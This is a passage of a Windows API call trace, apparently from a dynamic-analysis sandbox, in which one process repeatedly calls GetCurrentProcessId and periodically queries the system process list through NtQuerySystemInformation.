[0153.224] GetCurrentProcessId () returned 0x10c0 [0153.224] GetCurrentProcessId () returned 0x10c0 [0153.224] GetCurrentProcessId () returned 0x10c0 [0153.224] GetCurrentProcessId () returned 0x10c0 [0153.224] GetCurrentProcessId () returned 0x10c0 [0153.224] GetCurrentProcessId () returned 0x10c0 [0153.224] GetCurrentProcessId () returned 0x10c0 [0153.224] GetCurrentProcessId () returned 0x10c0 [0153.224] GetCurrentProcessId () returned 0x10c0 [0153.224] GetCurrentProcessId () returned 0x10c0 [0153.224] GetCurrentProcessId () returned 0x10c0 [0153.224] GetCurrentProcessId () returned 0x10c0 [0153.224] GetCurrentProcessId () returned 0x10c0 [0153.224] GetCurrentProcessId () returned 0x10c0 [0153.224] GetCurrentProcessId () returned 0x10c0 [0153.224] GetCurrentProcessId () returned 0x10c0 [0153.224] GetCurrentProcessId () returned 0x10c0 [0153.224] GetCurrentProcessId () returned 0x10c0 [0153.224] GetCurrentProcessId () returned 0x10c0 [0153.224] GetCurrentProcessId () returned 0x10c0 [0153.224] GetCurrentProcessId () returned 0x10c0 [0153.224] GetCurrentProcessId () returned 0x10c0 [0153.224] GetCurrentProcessId () returned 0x10c0 [0153.224] GetCurrentProcessId () returned 0x10c0 [0153.224] GetCurrentProcessId () returned 0x10c0 [0153.225] GetCurrentProcessId () returned 0x10c0 [0153.225] GetCurrentProcessId () returned 0x10c0 [0153.225] GetCurrentProcessId () returned 0x10c0 [0153.225] GetCurrentProcessId () returned 0x10c0 [0153.225] GetCurrentProcessId () returned 0x10c0 [0153.225] GetCurrentProcessId () returned 0x10c0 [0153.225] GetCurrentProcessId () returned 0x10c0 [0153.225] GetCurrentProcessId () returned 0x10c0 [0153.225] GetCurrentProcessId () returned 0x10c0 [0153.225] GetCurrentProcessId () returned 0x10c0 [0153.225] GetCurrentProcessId () returned 0x10c0 [0153.225] GetCurrentProcessId () returned 0x10c0 [0153.225] GetCurrentProcessId () returned 0x10c0 [0153.225] GetCurrentProcessId () returned 0x10c0 [0153.225] GetCurrentProcessId () returned 0x10c0 [0153.734] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1d290) returned 0x0 [0153.779] GetCurrentProcessId () returned 0x10c0 [0153.779] GetCurrentProcessId () returned 0x10c0 [0153.779] GetCurrentProcessId () returned 0x10c0 [0153.779] GetCurrentProcessId () returned 0x10c0 [0153.779] GetCurrentProcessId () returned 0x10c0 [0153.779] GetCurrentProcessId () returned 0x10c0 [0153.779] GetCurrentProcessId () returned 0x10c0 [0153.779] GetCurrentProcessId () returned 0x10c0 [0153.779] GetCurrentProcessId () returned 0x10c0 [0153.779] GetCurrentProcessId () returned 0x10c0 [0153.779] GetCurrentProcessId () returned 0x10c0 [0153.779] GetCurrentProcessId () returned 0x10c0 [0153.780] GetCurrentProcessId () returned 0x10c0 [0153.780] GetCurrentProcessId () returned 0x10c0 [0153.780] GetCurrentProcessId () returned 0x10c0 [0153.780] GetCurrentProcessId () returned 0x10c0 [0153.780] GetCurrentProcessId () returned 0x10c0 [0153.780] GetCurrentProcessId () returned 0x10c0 [0153.780] GetCurrentProcessId () returned 0x10c0 [0153.780] GetCurrentProcessId () returned 0x10c0 [0153.780] GetCurrentProcessId () returned 0x10c0 [0153.780] GetCurrentProcessId () returned 0x10c0 [0153.780] GetCurrentProcessId () returned 0x10c0 [0153.780] GetCurrentProcessId () returned 0x10c0 [0153.780] GetCurrentProcessId () returned 0x10c0 [0153.780] GetCurrentProcessId () returned 0x10c0 [0153.780] GetCurrentProcessId () returned 0x10c0 [0153.780] GetCurrentProcessId () returned 0x10c0 [0153.780] GetCurrentProcessId () returned 0x10c0 [0153.780] GetCurrentProcessId () returned 0x10c0 [0153.780] GetCurrentProcessId () returned 0x10c0 [0153.780] GetCurrentProcessId () returned 0x10c0 [0153.780] GetCurrentProcessId () returned 0x10c0 [0153.780] GetCurrentProcessId () returned 0x10c0 [0153.780] GetCurrentProcessId () returned 0x10c0 [0153.780] GetCurrentProcessId () returned 0x10c0 [0153.780] GetCurrentProcessId () returned 0x10c0 [0153.780] GetCurrentProcessId () returned 0x10c0 [0153.780] GetCurrentProcessId () returned 0x10c0 [0153.780] GetCurrentProcessId () returned 0x10c0 [0153.780] GetCurrentProcessId () returned 0x10c0 [0153.780] GetCurrentProcessId () returned 0x10c0 [0153.780] GetCurrentProcessId () returned 0x10c0 [0153.780] GetCurrentProcessId () returned 0x10c0 [0153.781] GetCurrentProcessId () returned 0x10c0 [0153.781] GetCurrentProcessId () returned 0x10c0 [0153.781] GetCurrentProcessId () returned 0x10c0 [0153.781] GetCurrentProcessId () returned 0x10c0 [0153.781] GetCurrentProcessId () returned 0x10c0 [0153.781] GetCurrentProcessId () returned 0x10c0 [0153.781] GetCurrentProcessId () returned 0x10c0 [0153.781] GetCurrentProcessId () returned 0x10c0 [0153.781] GetCurrentProcessId () returned 0x10c0 [0153.781] GetCurrentProcessId () returned 0x10c0 [0153.781] GetCurrentProcessId () returned 0x10c0 [0153.781] GetCurrentProcessId () returned 0x10c0 [0153.781] GetCurrentProcessId () returned 0x10c0 [0153.781] GetCurrentProcessId () returned 0x10c0 [0153.781] GetCurrentProcessId () returned 0x10c0 [0153.781] GetCurrentProcessId () returned 0x10c0 [0153.781] GetCurrentProcessId () returned 0x10c0 [0153.781] GetCurrentProcessId () returned 0x10c0 [0153.781] GetCurrentProcessId () returned 0x10c0 [0153.781] GetCurrentProcessId () returned 0x10c0 [0153.781] GetCurrentProcessId () returned 0x10c0 [0153.781] GetCurrentProcessId () returned 0x10c0 [0153.781] GetCurrentProcessId () returned 0x10c0 [0153.781] GetCurrentProcessId () returned 0x10c0 [0153.781] GetCurrentProcessId () returned 0x10c0 [0153.781] GetCurrentProcessId () returned 0x10c0 [0153.781] GetCurrentProcessId () returned 0x10c0 [0153.781] GetCurrentProcessId () returned 0x10c0 [0153.781] GetCurrentProcessId () returned 0x10c0 [0153.781] GetCurrentProcessId () returned 0x10c0 [0153.781] GetCurrentProcessId () returned 0x10c0 [0153.781] GetCurrentProcessId () returned 0x10c0 [0153.781] GetCurrentProcessId () returned 0x10c0 [0153.781] GetCurrentProcessId () returned 0x10c0 [0153.781] GetCurrentProcessId () returned 0x10c0 [0153.782] GetCurrentProcessId () returned 0x10c0 [0153.782] GetCurrentProcessId () returned 0x10c0 [0153.782] GetCurrentProcessId () returned 0x10c0 [0153.782] GetCurrentProcessId () returned 0x10c0 [0153.782] GetCurrentProcessId () returned 0x10c0 [0153.782] GetCurrentProcessId () returned 0x10c0 [0153.782] GetCurrentProcessId () returned 0x10c0 [0153.782] GetCurrentProcessId () returned 0x10c0 [0153.782] GetCurrentProcessId () returned 0x10c0 [0153.782] GetCurrentProcessId () returned 0x10c0 [0153.782] GetCurrentProcessId () returned 0x10c0 [0153.782] GetCurrentProcessId () returned 0x10c0 [0153.782] GetCurrentProcessId () returned 0x10c0 [0153.782] GetCurrentProcessId () returned 0x10c0 [0153.782] GetCurrentProcessId () returned 0x10c0 [0153.782] GetCurrentProcessId () returned 0x10c0 [0153.782] GetCurrentProcessId () returned 0x10c0 [0153.782] GetCurrentProcessId () returned 0x10c0 [0153.782] GetCurrentProcessId () returned 0x10c0 [0153.782] GetCurrentProcessId () returned 0x10c0 [0153.782] GetCurrentProcessId () returned 0x10c0 [0153.782] GetCurrentProcessId () returned 0x10c0 [0153.782] GetCurrentProcessId () returned 0x10c0 [0153.782] GetCurrentProcessId () returned 0x10c0 [0153.782] GetCurrentProcessId () returned 0x10c0 [0153.782] GetCurrentProcessId () returned 0x10c0 [0153.782] GetCurrentProcessId () returned 0x10c0 [0153.782] GetCurrentProcessId () returned 0x10c0 [0153.782] GetCurrentProcessId () returned 0x10c0 [0153.782] GetCurrentProcessId () returned 0x10c0 [0153.782] GetCurrentProcessId () returned 0x10c0 [0153.782] GetCurrentProcessId () returned 0x10c0 [0154.339] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1d2e0) returned 0x0 [0154.346] GetCurrentProcessId () returned 0x10c0 [0154.346] GetCurrentProcessId () returned 0x10c0 [0154.346] GetCurrentProcessId () returned 0x10c0 [0154.346] GetCurrentProcessId () returned 0x10c0 [0154.346] GetCurrentProcessId () returned 0x10c0 [0154.346] GetCurrentProcessId () returned 0x10c0 [0154.346] GetCurrentProcessId () returned 0x10c0 [0154.346] GetCurrentProcessId () returned 0x10c0 [0154.346] GetCurrentProcessId () returned 0x10c0 [0154.347] GetCurrentProcessId () returned 0x10c0 [0154.347] GetCurrentProcessId () returned 0x10c0 [0154.347] GetCurrentProcessId () returned 0x10c0 [0154.347] GetCurrentProcessId () returned 0x10c0 [0154.347] GetCurrentProcessId () returned 0x10c0 [0154.347] GetCurrentProcessId () returned 0x10c0 [0154.347] GetCurrentProcessId () returned 0x10c0 [0154.347] GetCurrentProcessId () returned 0x10c0 [0154.347] GetCurrentProcessId () returned 0x10c0 [0154.347] GetCurrentProcessId () returned 0x10c0 [0154.347] GetCurrentProcessId () returned 0x10c0 [0154.347] GetCurrentProcessId () returned 0x10c0 [0154.347] GetCurrentProcessId () returned 0x10c0 [0154.347] GetCurrentProcessId () returned 0x10c0 [0154.347] GetCurrentProcessId () returned 0x10c0 [0154.347] GetCurrentProcessId () returned 0x10c0 [0154.347] GetCurrentProcessId () returned 0x10c0 [0154.347] GetCurrentProcessId () returned 0x10c0 [0154.347] GetCurrentProcessId () returned 0x10c0 [0154.347] GetCurrentProcessId () returned 0x10c0 [0154.347] GetCurrentProcessId () returned 0x10c0 [0154.347] GetCurrentProcessId () returned 0x10c0 [0154.347] GetCurrentProcessId () returned 0x10c0 [0154.347] GetCurrentProcessId () returned 0x10c0 [0154.347] GetCurrentProcessId () returned 0x10c0 [0154.347] GetCurrentProcessId () returned 0x10c0 [0154.347] GetCurrentProcessId () returned 0x10c0 [0154.347] GetCurrentProcessId () returned 0x10c0 [0154.347] GetCurrentProcessId () returned 0x10c0 [0154.347] GetCurrentProcessId () returned 0x10c0 [0154.348] GetCurrentProcessId () returned 0x10c0 [0154.348] GetCurrentProcessId () returned 0x10c0 [0154.348] GetCurrentProcessId () returned 0x10c0 [0154.348] GetCurrentProcessId () returned 0x10c0 [0154.348] GetCurrentProcessId () returned 0x10c0 [0154.348] GetCurrentProcessId () returned 0x10c0 [0154.348] GetCurrentProcessId () returned 0x10c0 [0154.348] GetCurrentProcessId () returned 0x10c0 [0154.348] GetCurrentProcessId () returned 0x10c0 [0154.348] GetCurrentProcessId () returned 0x10c0 [0154.348] GetCurrentProcessId () returned 0x10c0 [0154.348] GetCurrentProcessId () returned 0x10c0 [0154.348] GetCurrentProcessId () returned 0x10c0 [0154.348] GetCurrentProcessId () returned 0x10c0 [0154.348] GetCurrentProcessId () returned 0x10c0 [0154.348] GetCurrentProcessId () returned 0x10c0 [0154.348] GetCurrentProcessId () returned 0x10c0 [0154.348] GetCurrentProcessId () returned 0x10c0 [0154.348] GetCurrentProcessId () returned 0x10c0 [0154.348] GetCurrentProcessId () returned 0x10c0 [0154.348] GetCurrentProcessId () returned 0x10c0 [0154.348] GetCurrentProcessId () returned 0x10c0 [0154.348] GetCurrentProcessId () returned 0x10c0 [0154.348] GetCurrentProcessId () returned 0x10c0 [0154.348] GetCurrentProcessId () returned 0x10c0 [0154.348] GetCurrentProcessId () returned 0x10c0 [0154.348] GetCurrentProcessId () returned 0x10c0 [0154.348] GetCurrentProcessId () returned 0x10c0 [0154.348] GetCurrentProcessId () returned 0x10c0 [0154.348] GetCurrentProcessId () returned 0x10c0 [0154.348] GetCurrentProcessId () returned 0x10c0 [0154.348] GetCurrentProcessId () returned 0x10c0 [0154.348] GetCurrentProcessId () returned 0x10c0 [0154.348] GetCurrentProcessId () returned 0x10c0 [0154.349] GetCurrentProcessId () returned 0x10c0 [0154.349] GetCurrentProcessId () returned 0x10c0 [0154.349] GetCurrentProcessId () returned 0x10c0 [0154.349] GetCurrentProcessId () returned 0x10c0 [0154.349] GetCurrentProcessId () returned 0x10c0 [0154.349] GetCurrentProcessId () returned 0x10c0 [0154.349] GetCurrentProcessId () returned 0x10c0 [0154.349] GetCurrentProcessId () returned 0x10c0 [0154.349] GetCurrentProcessId () returned 0x10c0 [0154.349] GetCurrentProcessId () returned 0x10c0 [0154.876] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1d2e0) returned 0x0 [0154.882] GetCurrentProcessId () returned 0x10c0 [0154.882] GetCurrentProcessId () returned 0x10c0 [0154.882] GetCurrentProcessId () returned 0x10c0 [0154.882] GetCurrentProcessId () returned 0x10c0 [0154.882] GetCurrentProcessId () returned 0x10c0 [0154.882] GetCurrentProcessId () returned 0x10c0 [0154.883] GetCurrentProcessId () returned 0x10c0 [0154.883] GetCurrentProcessId () returned 0x10c0 [0154.883] GetCurrentProcessId () returned 0x10c0 [0154.883] GetCurrentProcessId () returned 0x10c0 [0154.883] GetCurrentProcessId () returned 0x10c0 [0154.883] GetCurrentProcessId () returned 0x10c0 [0154.883] GetCurrentProcessId () returned 0x10c0 [0154.883] GetCurrentProcessId () returned 0x10c0 [0154.883] GetCurrentProcessId () returned 0x10c0 [0154.883] GetCurrentProcessId () returned 0x10c0 [0154.883] GetCurrentProcessId () returned 0x10c0 [0154.883] GetCurrentProcessId () returned 0x10c0 [0154.883] GetCurrentProcessId () returned 0x10c0 [0154.883] GetCurrentProcessId () returned 0x10c0 [0154.883] GetCurrentProcessId () returned 0x10c0 [0154.883] GetCurrentProcessId () returned 0x10c0 [0154.883] GetCurrentProcessId () returned 0x10c0 [0154.883] GetCurrentProcessId () returned 0x10c0 [0154.883] GetCurrentProcessId () returned 0x10c0 [0154.883] GetCurrentProcessId () returned 0x10c0 [0154.883] GetCurrentProcessId () returned 0x10c0 [0154.883] GetCurrentProcessId () returned 0x10c0 [0154.883] GetCurrentProcessId () returned 0x10c0 [0154.883] GetCurrentProcessId () returned 0x10c0 [0154.883] GetCurrentProcessId () returned 0x10c0 [0154.883] GetCurrentProcessId () returned 0x10c0 [0154.883] GetCurrentProcessId () returned 0x10c0 [0154.883] GetCurrentProcessId () returned 0x10c0 [0154.883] GetCurrentProcessId () returned 0x10c0 [0154.884] GetCurrentProcessId () returned 0x10c0 [0154.884] GetCurrentProcessId () returned 0x10c0 [0154.884] GetCurrentProcessId () returned 0x10c0 [0154.884] GetCurrentProcessId () returned 0x10c0 [0154.884] GetCurrentProcessId () returned 0x10c0 [0154.884] GetCurrentProcessId () returned 0x10c0 [0154.884] GetCurrentProcessId () returned 0x10c0 [0154.884] GetCurrentProcessId () returned 0x10c0 [0154.884] GetCurrentProcessId () returned 0x10c0 [0154.884] GetCurrentProcessId () returned 0x10c0 [0154.884] GetCurrentProcessId () returned 0x10c0 [0154.884] GetCurrentProcessId () returned 0x10c0 [0154.884] GetCurrentProcessId () returned 0x10c0 [0154.884] GetCurrentProcessId () returned 0x10c0 [0154.884] GetCurrentProcessId () returned 0x10c0 [0154.884] GetCurrentProcessId () returned 0x10c0 [0154.884] GetCurrentProcessId () returned 0x10c0 [0154.884] GetCurrentProcessId () returned 0x10c0 [0154.884] GetCurrentProcessId () returned 0x10c0 [0154.884] GetCurrentProcessId () returned 0x10c0 [0154.884] GetCurrentProcessId () returned 0x10c0 [0154.884] GetCurrentProcessId () returned 0x10c0 [0154.884] GetCurrentProcessId () returned 0x10c0 [0154.884] GetCurrentProcessId () returned 0x10c0 [0154.885] GetCurrentProcessId () returned 0x10c0 [0154.885] GetCurrentProcessId () returned 0x10c0 [0154.885] GetCurrentProcessId () returned 0x10c0 [0154.885] GetCurrentProcessId () returned 0x10c0 [0154.885] GetCurrentProcessId () returned 0x10c0 [0154.885] GetCurrentProcessId () returned 0x10c0 [0154.885] GetCurrentProcessId () returned 0x10c0 [0154.885] GetCurrentProcessId () returned 0x10c0 [0154.885] GetCurrentProcessId () returned 0x10c0 [0154.885] GetCurrentProcessId () returned 0x10c0 [0154.885] GetCurrentProcessId () returned 0x10c0 [0154.885] GetCurrentProcessId () returned 0x10c0 [0154.885] GetCurrentProcessId () returned 0x10c0 [0154.885] GetCurrentProcessId () returned 0x10c0 [0154.885] GetCurrentProcessId () returned 0x10c0 [0154.885] GetCurrentProcessId () returned 0x10c0 [0154.885] GetCurrentProcessId () returned 0x10c0 [0154.885] GetCurrentProcessId () returned 0x10c0 [0154.885] GetCurrentProcessId () returned 0x10c0 [0154.885] GetCurrentProcessId () returned 0x10c0 [0154.885] GetCurrentProcessId () returned 0x10c0 [0154.885] GetCurrentProcessId () returned 0x10c0 [0154.885] GetCurrentProcessId () returned 0x10c0 [0154.886] GetCurrentProcessId () returned 0x10c0 [0154.886] GetCurrentProcessId () returned 0x10c0 [0154.886] GetCurrentProcessId () returned 0x10c0 [0154.886] GetCurrentProcessId () returned 0x10c0 [0154.886] GetCurrentProcessId () returned 0x10c0 [0154.886] GetCurrentProcessId () returned 0x10c0 [0154.886] GetCurrentProcessId () returned 0x10c0 [0154.886] GetCurrentProcessId () returned 0x10c0 [0154.886] GetCurrentProcessId () returned 0x10c0 [0154.886] GetCurrentProcessId () returned 0x10c0 [0154.886] GetCurrentProcessId () returned 0x10c0 [0154.886] GetCurrentProcessId () returned 0x10c0 [0154.886] GetCurrentProcessId () returned 0x10c0 [0154.886] GetCurrentProcessId () returned 0x10c0 [0154.886] GetCurrentProcessId () returned 0x10c0 [0154.886] GetCurrentProcessId () returned 0x10c0 [0154.886] GetCurrentProcessId () returned 0x10c0 [0154.886] GetCurrentProcessId () returned 0x10c0 [0154.886] GetCurrentProcessId () returned 0x10c0 [0154.886] GetCurrentProcessId () returned 0x10c0 [0154.886] GetCurrentProcessId () returned 0x10c0 [0154.886] GetCurrentProcessId () returned 0x10c0 [0154.886] GetCurrentProcessId () returned 0x10c0 [0154.886] GetCurrentProcessId () returned 0x10c0 [0154.886] GetCurrentProcessId () returned 0x10c0 [0154.886] GetCurrentProcessId () returned 0x10c0 [0154.886] GetCurrentProcessId () returned 0x10c0 [0154.886] GetCurrentProcessId () returned 0x10c0 [0154.886] GetCurrentProcessId () returned 0x10c0 [0155.436] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1d2e0) returned 0x0 [0155.442] GetCurrentProcessId () returned 0x10c0 [0155.442] GetCurrentProcessId () returned 0x10c0 [0155.442] GetCurrentProcessId () returned 0x10c0 [0155.442] GetCurrentProcessId () returned 0x10c0 [0155.442] GetCurrentProcessId () returned 0x10c0 [0155.442] GetCurrentProcessId () returned 0x10c0 [0155.442] GetCurrentProcessId () returned 0x10c0 [0155.442] GetCurrentProcessId () returned 0x10c0 [0155.442] GetCurrentProcessId () returned 0x10c0 [0155.442] GetCurrentProcessId () returned 0x10c0 [0155.442] GetCurrentProcessId () returned 0x10c0 [0155.442] GetCurrentProcessId () returned 0x10c0 [0155.442] GetCurrentProcessId () returned 0x10c0 [0155.442] GetCurrentProcessId () returned 0x10c0 [0155.442] GetCurrentProcessId () returned 0x10c0 [0155.442] GetCurrentProcessId () returned 0x10c0 [0155.442] GetCurrentProcessId () returned 0x10c0 [0155.442] GetCurrentProcessId () returned 0x10c0 [0155.442] GetCurrentProcessId () returned 0x10c0 [0155.442] GetCurrentProcessId () returned 0x10c0 [0155.442] GetCurrentProcessId () returned 0x10c0 [0155.442] GetCurrentProcessId () returned 0x10c0 [0155.442] GetCurrentProcessId () returned 0x10c0 [0155.443] GetCurrentProcessId () returned 0x10c0 [0155.443] GetCurrentProcessId () returned 0x10c0 [0155.443] GetCurrentProcessId () returned 0x10c0 [0155.443] GetCurrentProcessId () returned 0x10c0 [0155.443] GetCurrentProcessId () returned 0x10c0 [0155.443] GetCurrentProcessId () returned 0x10c0 [0155.443] GetCurrentProcessId () returned 0x10c0 [0155.443] GetCurrentProcessId () returned 0x10c0 [0155.443] GetCurrentProcessId () returned 0x10c0 [0155.443] GetCurrentProcessId () returned 0x10c0 [0155.443] GetCurrentProcessId () returned 0x10c0 [0155.443] GetCurrentProcessId () returned 0x10c0 [0155.443] GetCurrentProcessId () returned 0x10c0 [0155.443] GetCurrentProcessId () returned 0x10c0 [0155.443] GetCurrentProcessId () returned 0x10c0 [0155.443] GetCurrentProcessId () returned 0x10c0 [0155.443] GetCurrentProcessId () returned 0x10c0 [0155.443] GetCurrentProcessId () returned 0x10c0 [0155.443] GetCurrentProcessId () returned 0x10c0 [0155.443] GetCurrentProcessId () returned 0x10c0 [0155.443] GetCurrentProcessId () returned 0x10c0 [0155.443] GetCurrentProcessId () returned 0x10c0 [0155.443] GetCurrentProcessId () returned 0x10c0 [0155.443] GetCurrentProcessId () returned 0x10c0 [0155.443] GetCurrentProcessId () returned 0x10c0 [0155.443] GetCurrentProcessId () returned 0x10c0 [0155.444] GetCurrentProcessId () returned 0x10c0 [0155.444] GetCurrentProcessId () returned 0x10c0 [0155.444] GetCurrentProcessId () returned 0x10c0 [0155.444] GetCurrentProcessId () returned 0x10c0 [0155.444] GetCurrentProcessId () returned 0x10c0 [0155.444] GetCurrentProcessId () returned 0x10c0 [0155.444] GetCurrentProcessId () returned 0x10c0 [0155.444] GetCurrentProcessId () returned 0x10c0 [0155.444] GetCurrentProcessId () returned 0x10c0 [0155.444] GetCurrentProcessId () returned 0x10c0 [0155.444] GetCurrentProcessId () returned 0x10c0 [0155.444] GetCurrentProcessId () returned 0x10c0 [0155.444] GetCurrentProcessId () returned 0x10c0 [0155.444] GetCurrentProcessId () returned 0x10c0 [0155.444] GetCurrentProcessId () returned 0x10c0 [0155.444] GetCurrentProcessId () returned 0x10c0 [0155.444] GetCurrentProcessId () returned 0x10c0 [0155.444] GetCurrentProcessId () returned 0x10c0 [0155.444] GetCurrentProcessId () returned 0x10c0 [0155.444] GetCurrentProcessId () returned 0x10c0 [0155.444] GetCurrentProcessId () returned 0x10c0 [0155.444] GetCurrentProcessId () returned 0x10c0 [0155.444] GetCurrentProcessId () returned 0x10c0 [0155.444] GetCurrentProcessId () returned 0x10c0 [0155.444] GetCurrentProcessId () returned 0x10c0 [0155.444] GetCurrentProcessId () returned 0x10c0 [0155.444] GetCurrentProcessId () returned 0x10c0 [0155.444] GetCurrentProcessId () returned 0x10c0 [0155.445] GetCurrentProcessId () returned 0x10c0 [0155.445] GetCurrentProcessId () returned 0x10c0 [0155.445] GetCurrentProcessId () returned 0x10c0 [0155.445] GetCurrentProcessId () returned 0x10c0 [0155.445] GetCurrentProcessId () returned 0x10c0 [0155.445] GetCurrentProcessId () returned 0x10c0 [0155.445] GetCurrentProcessId () returned 0x10c0 [0155.445] GetCurrentProcessId () returned 0x10c0 [0155.445] GetCurrentProcessId () returned 0x10c0 [0155.445] GetCurrentProcessId () returned 0x10c0 [0155.445] GetCurrentProcessId () returned 0x10c0 [0155.445] GetCurrentProcessId () returned 0x10c0 [0155.445] GetCurrentProcessId () returned 0x10c0 [0155.445] GetCurrentProcessId () returned 0x10c0 [0155.445] GetCurrentProcessId () returned 0x10c0 [0155.445] GetCurrentProcessId () returned 0x10c0 [0155.445] GetCurrentProcessId () returned 0x10c0 [0155.445] GetCurrentProcessId () returned 0x10c0 [0155.445] GetCurrentProcessId () returned 0x10c0 [0155.446] GetCurrentProcessId () returned 0x10c0 [0155.446] GetCurrentProcessId () returned 0x10c0 [0155.446] GetCurrentProcessId () returned 0x10c0 [0155.446] GetCurrentProcessId () returned 0x10c0 [0155.446] GetCurrentProcessId () returned 0x10c0 [0155.446] GetCurrentProcessId () returned 0x10c0 [0155.446] GetCurrentProcessId () returned 0x10c0 [0155.446] GetCurrentProcessId () returned 0x10c0 [0155.446] GetCurrentProcessId () returned 0x10c0 [0155.446] GetCurrentProcessId () returned 0x10c0 [0155.446] GetCurrentProcessId () returned 0x10c0 [0155.446] GetCurrentProcessId () returned 0x10c0 [0155.446] GetCurrentProcessId () returned 0x10c0 [0155.446] GetCurrentProcessId () returned 0x10c0 [0155.446] GetCurrentProcessId () returned 0x10c0 [0155.961] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1d2e0) returned 0x0 [0155.974] GetCurrentProcessId () returned 0x10c0 [0155.974] GetCurrentProcessId () returned 0x10c0 [0155.974] GetCurrentProcessId () returned 0x10c0 [0155.974] GetCurrentProcessId () returned 0x10c0 [0155.974] GetCurrentProcessId () returned 0x10c0 [0155.974] GetCurrentProcessId () returned 0x10c0 [0155.974] GetCurrentProcessId () returned 0x10c0 [0155.974] GetCurrentProcessId () returned 0x10c0 [0155.974] GetCurrentProcessId () returned 0x10c0 [0155.974] GetCurrentProcessId () returned 0x10c0 [0155.974] GetCurrentProcessId () returned 0x10c0 [0155.974] GetCurrentProcessId () returned 0x10c0 [0155.974] GetCurrentProcessId () returned 0x10c0 [0155.974] GetCurrentProcessId () returned 0x10c0 [0155.974] GetCurrentProcessId () returned 0x10c0 [0155.974] GetCurrentProcessId () returned 0x10c0 [0155.974] GetCurrentProcessId () returned 0x10c0 [0155.975] GetCurrentProcessId () returned 0x10c0 [0155.975] GetCurrentProcessId () returned 0x10c0 [0155.975] GetCurrentProcessId () returned 0x10c0 [0155.975] GetCurrentProcessId () returned 0x10c0 [0155.975] GetCurrentProcessId () returned 0x10c0 [0155.975] GetCurrentProcessId () returned 0x10c0 [0155.975] GetCurrentProcessId () returned 0x10c0 [0155.975] GetCurrentProcessId () returned 0x10c0 [0155.975] GetCurrentProcessId () returned 0x10c0 [0155.975] GetCurrentProcessId () returned 0x10c0 [0155.975] GetCurrentProcessId () returned 0x10c0 [0155.975] GetCurrentProcessId () returned 0x10c0 [0155.975] GetCurrentProcessId () returned 0x10c0 [0155.975] GetCurrentProcessId () returned 0x10c0 [0155.975] GetCurrentProcessId () returned 0x10c0 [0155.975] GetCurrentProcessId () returned 0x10c0 [0155.975] GetCurrentProcessId () returned 0x10c0 [0155.975] GetCurrentProcessId () returned 0x10c0 [0155.975] GetCurrentProcessId () returned 0x10c0 [0155.975] GetCurrentProcessId () returned 0x10c0 [0155.975] GetCurrentProcessId () returned 0x10c0 [0155.975] GetCurrentProcessId () returned 0x10c0 [0155.975] GetCurrentProcessId () returned 0x10c0 [0155.975] GetCurrentProcessId () returned 0x10c0 [0155.975] GetCurrentProcessId () returned 0x10c0 [0155.975] GetCurrentProcessId () returned 0x10c0 [0155.975] GetCurrentProcessId () returned 0x10c0 [0155.975] GetCurrentProcessId () returned 0x10c0 [0155.975] GetCurrentProcessId () returned 0x10c0 [0155.976] GetCurrentProcessId () returned 0x10c0 [0155.976] GetCurrentProcessId () returned 0x10c0 [0155.976] GetCurrentProcessId () returned 0x10c0 [0155.976] GetCurrentProcessId () returned 0x10c0 [0155.976] GetCurrentProcessId () returned 0x10c0 [0155.976] GetCurrentProcessId () returned 0x10c0 [0155.976] GetCurrentProcessId () returned 0x10c0 [0155.976] GetCurrentProcessId () returned 0x10c0 [0155.976] GetCurrentProcessId () returned 0x10c0 [0155.976] GetCurrentProcessId () returned 0x10c0 [0156.476] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1d380) returned 0x0 [0156.483] GetCurrentProcessId () returned 0x10c0 [0156.483] GetCurrentProcessId () returned 0x10c0 [0156.483] GetCurrentProcessId () returned 0x10c0 [0156.483] GetCurrentProcessId () returned 0x10c0 [0156.483] GetCurrentProcessId () returned 0x10c0 [0156.483] GetCurrentProcessId () returned 0x10c0 [0156.483] GetCurrentProcessId () returned 0x10c0 [0156.483] GetCurrentProcessId () returned 0x10c0 [0156.483] GetCurrentProcessId () returned 0x10c0 [0156.483] GetCurrentProcessId () returned 0x10c0 [0156.483] GetCurrentProcessId () returned 0x10c0 [0156.483] GetCurrentProcessId () returned 0x10c0 [0156.483] GetCurrentProcessId () returned 0x10c0 [0156.483] GetCurrentProcessId () returned 0x10c0 [0156.483] GetCurrentProcessId () returned 0x10c0 [0156.483] GetCurrentProcessId () returned 0x10c0 [0156.483] GetCurrentProcessId () returned 0x10c0 [0156.483] GetCurrentProcessId () returned 0x10c0 [0156.483] GetCurrentProcessId () returned 0x10c0 [0156.484] GetCurrentProcessId () returned 0x10c0 [0156.484] GetCurrentProcessId () returned 0x10c0 [0156.484] GetCurrentProcessId () returned 0x10c0 [0156.484] GetCurrentProcessId () returned 0x10c0 [0156.484] GetCurrentProcessId () returned 0x10c0 [0156.484] GetCurrentProcessId () returned 0x10c0 [0156.484] GetCurrentProcessId () returned 0x10c0 [0156.484] GetCurrentProcessId () returned 0x10c0 [0156.484] GetCurrentProcessId () returned 0x10c0 [0156.484] GetCurrentProcessId () returned 0x10c0 [0156.484] GetCurrentProcessId () returned 0x10c0 [0156.484] GetCurrentProcessId () returned 0x10c0 [0156.484] GetCurrentProcessId () returned 0x10c0 [0156.484] GetCurrentProcessId () returned 0x10c0 [0156.484] GetCurrentProcessId () returned 0x10c0 [0156.484] GetCurrentProcessId () returned 0x10c0 [0156.484] GetCurrentProcessId () returned 0x10c0 [0156.484] GetCurrentProcessId () returned 0x10c0 [0156.484] 